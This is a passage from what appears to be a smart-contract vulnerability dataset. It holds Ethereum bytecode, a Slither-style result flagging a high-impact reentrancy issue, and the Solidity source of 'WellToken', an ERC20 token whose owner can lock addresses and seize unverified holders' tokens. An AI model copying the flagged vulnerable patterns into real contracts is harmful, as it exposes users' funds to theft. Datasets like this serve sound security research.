001602082028036833780820191505090505b5090503081600081518110611d9657611d95612bfa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3857600080fd5b505afa158015611e4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e709190612d22565b81600181518110611e8457611e83612bfa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eeb30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611408565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f4f9594939291906133a5565b600060405180830381600087803b158015611f6957600080fd5b505af1158015611f7d573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b611fab838383612025565b505050565b6000806000611fbd6121f0565b91509150611fd48183611fdb90919063ffffffff16565b9250505090565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061224f565b905092915050565b600080600080600080612037876122b2565b95509550955095509550955061209586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612176816123c2565b612180848361247f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121dd919061283b565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612224670de0b6b3a7640000600854611fdb90919063ffffffff16565b82101561224257600854670de0b6b3a764000093509350505061224b565b81819350935050505b9091565b60008083118290612296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228d91906126ec565b60405180910390fd5b50600083856122a5919061342e565b9050809150509392505050565b60008060008060008060008060006122cf8a600a54600b546124b9565b92509250925060006122df611fb0565b905060008060006122f28e87878761254f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bda565b905092915050565b600080828461237391906131cb565b9050838110156123b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123af906134ab565b60405180910390fd5b8091505092915050565b60006123cc611fb0565b905060006123e382846125d890919063ffffffff16565b905061243781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124948260085461231a90919063ffffffff16565b6008819055506124af8160095461236490919063ffffffff16565b6009819055505050565b6000806000806124e560646124d7888a6125d890919063ffffffff16565b611fdb90919063ffffffff16565b9050600061250f6064612501888b6125d890919063ffffffff16565b611fdb90919063ffffffff16565b905060006125388261252a858c61231a90919063ffffffff16565b61231a90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061256885896125d890919063ffffffff16565b9050600061257f86896125d890919063ffffffff16565b9050600061259687896125d890919063ffffffff16565b905060006125bf826125b1858761231a90919063ffffffff16565b61231a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125eb576000905061264d565b600082846125f991906134cb565b9050828482612608919061342e565b14612648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263f90613597565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561268d578082015181840152602081019050612672565b8381111561269c576000848401525b50505050565b6000601f19601f8301169050919050565b60006126be82612653565b6126c8818561265e565b93506126d881856020860161266f565b6126e1816126a2565b840191505092915050565b6000602082019050818103600083015261270681846126b3565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061274d82612722565b9050919050565b61275d81612742565b811461276857600080fd5b50565b60008135905061277a81612754565b92915050565b6000819050919050565b61279381612780565b811461279e57600080fd5b50565b6000813590506127b08161278a565b92915050565b600080604083850312156127cd576127cc612718565b5b60006127db8582860161276b565b92505060206127ec858286016127a1565b9150509250929050565b60008115159050919050565b61280b816127f6565b82525050565b60006020820190506128266000830184612802565b92915050565b61283581612780565b82525050565b6000602082019050612850600083018461282c565b92915050565b60008060006060848603121561286f5761286e612718565b5b600061287d8682870161276b565b935050602061288e8682870161276b565b925050604061289f868287016127a1565b9150509250925092565b6000602082840312156128bf576128be612718565b5b60006128cd8482850161276b565b91505092915050565b600060ff82169050919050565b6128ec816128d6565b82525050565b600060208201905061290760008301846128e3565b92915050565b612916816127f6565b811461292157600080fd5b50565b6000813590506129338161290d565b92915050565b60006020828403121561294f5761294e612718565b5b600061295d84828501612924565b91505092915050565b60006020828403121561297c5761297b612718565b5b600061298a848285016127a1565b91505092915050565b61299c81612742565b82525050565b60006020820190506129b76000830184612993565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6129fa826126a2565b810181811067ffffffffffffffff82111715612a1957612a186129c2565b5b80604052505050565b6000612a2c61270e565b9050612a3882826129f1565b919050565b600067ffffffffffffffff821115612a5857612a576129c2565b5b602082029050602081019050919050565b600080fd5b6000612a81612a7c84612a3d565b612a22565b90508083825260208201905060208402830185811115612aa457612aa3612a69565b5b835b81811015612acd5780612ab9888261276b565b845260208401935050602081019050612aa6565b5050509392505050565b600082601f830112612aec57612aeb6129bd565b5b8135612afc848260208601612a6e565b91505092915050565b600060208284031215612b1b57612b1a612718565b5b600082013567ffffffffffffffff811115612b3957612b3861271d565b5b612b4584828501612ad7565b91505092915050565b60008060408385031215612b6557612b64612718565b5b6000612b738582860161276b565b9250506020612b848582860161276b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bc460208361265e565b9150612bcf82612b8e565b602082019050919050565b60006020820190508181036000830152612bf381612bb7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c6382612780565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c9657612c95612c29565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cd760178361265e565b9150612ce282612ca1565b602082019050919050565b60006020820190508181036000830152612d0681612cca565b9050919050565b600081519050612d1c81612754565b92915050565b600060208284031215612d3857612d37612718565b5b6000612d4684828501612d0d565b91505092915050565b6000604082019050612d646000830185612993565b612d716020830184612993565b9392505050565b6000819050919050565b6000819050919050565b6000612da7612da2612d9d84612d78565b612d82565b612780565b9050919050565b612db781612d8c565b82525050565b600060c082019050612dd26000830189612993565b612ddf602083018861282c565b612dec6040830187612dae565b612df96060830186612dae565b612e066080830185612993565b612e1360a083018461282c565b979650505050505050565b600081519050612e2d8161278a565b92915050565b600080600060608486031215612e4c57612e4b612718565b5b6000612e5a86828701612e1e565b9350506020612e6b86828701612e1e565b9250506040612e7c86828701612e1e565b9150509250925092565b6000604082019050612e9b6000830185612993565b612ea8602083018461282c565b9392505050565b600081519050612ebe8161290d565b92915050565b600060208284031215612eda57612ed9612718565b5b6000612ee884828501612eaf565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f4d60248361265e565b9150612f5882612ef1565b604082019050919050565b60006020820190508181036000830152612f7c81612f40565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fdf60228361265e565b9150612fea82612f83565b604082019050919050565b6000602082019050818103600083015261300e81612fd2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061307160258361265e565b915061307c82613015565b604082019050919050565b600060208201905081810360008301526130a081613064565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061310360238361265e565b915061310e826130a7565b604082019050919050565b60006020820190508181036000830152613132816130f6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061319560298361265e565b91506131a082613139565b604082019050919050565b600060208201905081810360008301526131c481613188565b9050919050565b60006131d682612780565b91506131e183612780565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561321657613215612c29565b5b828201905092915050565b600061322c82612780565b915061323783612780565b92508282101561324a57613249612c29565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006132b1602a8361265e565b91506132bc82613255565b604082019050919050565b600060208201905081810360008301526132e0816132a4565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61331c81612742565b82525050565b600061332e8383613313565b60208301905092915050565b6000602082019050919050565b6000613352826132e7565b61335c81856132f2565b935061336783613303565b8060005b8381101561339857815161337f8882613322565b975061338a8361333a565b92505060018101905061336b565b5085935050505092915050565b600060a0820190506133ba600083018861282c565b6133c76020830187612dae565b81810360408301526133d98186613347565b90506133e86060830185612993565b6133f5608083018461282c565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061343982612780565b915061344483612780565b925082613454576134536133ff565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613495601b8361265e565b91506134a08261345f565b602082019050919050565b600060208201905081810360008301526134c481613488565b9050919050565b60006134d682612780565b91506134e183612780565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561351a57613519612c29565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061358160218361265e565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b202d53c19316dfceec9965d3ac52f680b73e0ea050236d1a3203f0995c7cd3f64736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,366
0x684e2dcb12bb755237e07242529c82f78a84ea61
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract WellToken is StandardToken, BurnableToken, Ownable { using SafeMath for uint256; event Mint(address indexed to, uint256 amount); event Release(); event AddressLocked(address indexed _address, uint256 _time); event AddressLockedByKYC(address indexed _address); event KYCVerified(address indexed _address); event TokensRevertedByKYC(address indexed _address, uint256 _amount); event SetTechAccount(address indexed _address); string public constant name = "WELL Token"; string public constant symbol = "WELL"; string public constant standard = "ERC20"; uint256 public constant decimals = 18; uint256 public constant TOKENS_MAXIMUM_SUPPLY = 1500000000 * (10 ** decimals); bool public released = false; address public tokensWallet; address public mintingOracle; address public techAccount; mapping(address => uint) public lockedAddresses; mapping(address => bool) public verifiedKYCAddresses; modifier isReleased() { require(released || msg.sender == tokensWallet || msg.sender == owner || msg.sender == techAccount); require(lockedAddresses[msg.sender] <= now); require(verifiedKYCAddresses[msg.sender]); _; } modifier hasAddressLockupPermission() { require(msg.sender == owner || msg.sender == techAccount); _; } modifier hasMintPermission() { require(msg.sender == mintingOracle); _; } constructor() public { owner = 0x6c2386fFf587539484c9d65628df7301A4a7Fc10; mintingOracle = owner; tokensWallet = owner; verifiedKYCAddresses[owner] = true; techAccount = 0x41D621De050A551F5f0eBb83D1332C75339B61E4; verifiedKYCAddresses[techAccount] = true; emit SetTechAccount(techAccount); balances[tokensWallet] = totalSupply_; emit Transfer(0x0, tokensWallet, totalSupply_); } function lockAddress(address _address, uint256 _time) public hasAddressLockupPermission returns (bool) { require(_address != owner && _address != tokensWallet && _address != techAccount); require(balances[_address] == 0 && lockedAddresses[_address] == 0 && _time > now); lockedAddresses[_address] = _time; emit AddressLocked(_address, _time); return true; } function lockAddressByKYC(address _address) public hasAddressLockupPermission returns (bool) { require(released); require(balances[_address] == 0 && verifiedKYCAddresses[_address]); verifiedKYCAddresses[_address] = false; emit AddressLockedByKYC(_address); return true; } function verifyKYC(address _address) public hasAddressLockupPermission returns (bool) { verifiedKYCAddresses[_address] = true; emit KYCVerified(_address); return true; } function revertTokensByKYC(address _address) public hasAddressLockupPermission returns (bool) { require(!verifiedKYCAddresses[_address] && balances[_address] > 0); uint256 amount = balances[_address]; balances[tokensWallet] = balances[tokensWallet].add(amount); balances[_address] = 0; emit Transfer(_address, tokensWallet, amount); emit TokensRevertedByKYC(_address, amount); return true; } function release() public onlyOwner returns (bool) { require(!released); released = true; emit Release(); return true; } function getOwner() public view returns (address) { return owner; } function transfer(address _to, uint256 _value) public isReleased returns (bool) { if (released) { verifiedKYCAddresses[_to] = true; } return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) { if (released) { verifiedKYCAddresses[_to] = true; } return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public isReleased returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public isReleased returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != owner); require(lockedAddresses[newOwner] < now); address oldOwner = owner; super.transferOwnership(newOwner); if (oldOwner != tokensWallet) { allowed[tokensWallet][oldOwner] = 0; emit Approval(tokensWallet, oldOwner, 0); } if (owner != tokensWallet) { allowed[tokensWallet][owner] = balances[tokensWallet]; emit Approval(tokensWallet, owner, balances[tokensWallet]); } verifiedKYCAddresses[newOwner] = true; emit KYCVerified(newOwner); } function changeTechAccountAddress(address _address) public onlyOwner { require(_address != address(0) && _address != techAccount); require(lockedAddresses[_address] < now); techAccount = _address; emit SetTechAccount(techAccount); verifiedKYCAddresses[_address] = true; emit KYCVerified(_address); } function mint( address _to, uint256 _amount ) public hasMintPermission returns (bool) { totalSupply_ = totalSupply_.add(_amount); require(totalSupply_ > 0); require(totalSupply_ <= TOKENS_MAXIMUM_SUPPLY); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function setMintingOracle(address _address) public hasMintPermission { require(_address != address(0) && _address != mintingOracle); mintingOracle = _address; } }
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d8146e1461019057806306fdde03146101e757806307ec0ead14610277578063095ea7b3146102ba57806318160ddd1461031f57806323b872dd1461034a5780632474e236146103cf578063313ce567146103fa5780633328bd241461042557806335972f461461048a57806338d16011146104e157806340c10f191461053c57806342966c68146105a157806348655faa146105ce57806349f7825b146106115780635a3b7e421461066c57806366188463146106fc57806370a082311461076157806386d1a69f146107b8578063893d20e8146107e75780638da5cb5b1461083e57806395d89b41146108955780639613252114610925578063a5bbd67a14610954578063a9059cbb146109ab578063b36ada8214610a10578063d73dd62314610a67578063dd62ed3e14610acc578063df1abf8314610b43578063f2fde38b14610b9e578063f8a4e60814610be1575b600080fd5b34801561019c57600080fd5b506101a5610c3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f357600080fd5b506101fc610c62565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023c578082015181840152602081019050610221565b50505050905090810190601f1680156102695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028357600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9b565b005b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1e565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b506103346110fb565b6040518082815260200191505060405180910390f35b34801561035657600080fd5b506103b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611105565b604051808215151515815260200191505060405180910390f35b3480156103db57600080fd5b506103e4611352565b6040518082815260200191505060405180910390f35b34801561040657600080fd5b5061040f611360565b6040518082815260200191505060405180910390f35b34801561043157600080fd5b50610470600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611365565b604051808215151515815260200191505060405180910390f35b34801561049657600080fd5b5061049f61166b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ed57600080fd5b50610522600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611691565b604051808215151515815260200191505060405180910390f35b34801561054857600080fd5b50610587600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117eb565b604051808215151515815260200191505060405180910390f35b3480156105ad57600080fd5b506105cc600480360381019080803590602001909291905050506119e1565b005b3480156105da57600080fd5b5061060f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ee565b005b34801561061d57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b24565b604051808215151515815260200191505060405180910390f35b34801561067857600080fd5b50610681611d3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c15780820151818401526020810190506106a6565b50505050905090810190601f1680156106ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561070857600080fd5b50610747600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d74565b604051808215151515815260200191505060405180910390f35b34801561076d57600080fd5b506107a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f51565b6040518082815260200191505060405180910390f35b3480156107c457600080fd5b506107cd611f99565b604051808215151515815260200191505060405180910390f35b3480156107f357600080fd5b506107fc612061565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084a57600080fd5b5061085361208b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108a157600080fd5b506108aa6120b1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108ea5780820151818401526020810190506108cf565b50505050905090810190601f1680156109175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561093157600080fd5b5061093a6120ea565b604051808215151515815260200191505060405180910390f35b34801561096057600080fd5b50610995600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120fd565b6040518082815260200191505060405180910390f35b3480156109b757600080fd5b506109f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612115565b604051808215151515815260200191505060405180910390f35b348015610a1c57600080fd5b50610a25612360565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7357600080fd5b50610ab2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612386565b604051808215151515815260200191505060405180910390f35b348015610ad857600080fd5b50610b2d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612563565b6040518082815260200191505060405180910390f35b348015610b4f57600080fd5b50610b84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125ea565b604051808215151515815260200191505060405180910390f35b348015610baa57600080fd5b50610bdf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061297f565b005b348015610bed57600080fd5b50610c22600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f80565b604051808215151515815260200191505060405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600a81526020017f57454c4c20546f6b656e0000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610d825750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1515610d8d57600080fd5b42600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610dda57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f15970aa596b058cfe63594828b44ec28aa9f94b8fdd8c8eb6f26d1542aa700f060405160405180910390a26001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a250565b6000600360149054906101000a900460ff1680610f885750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610fe05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110385750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561104357600080fd5b42600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561109157600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156110e957600080fd5b6110f38383612fa0565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff168061116f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806111c75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061121f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff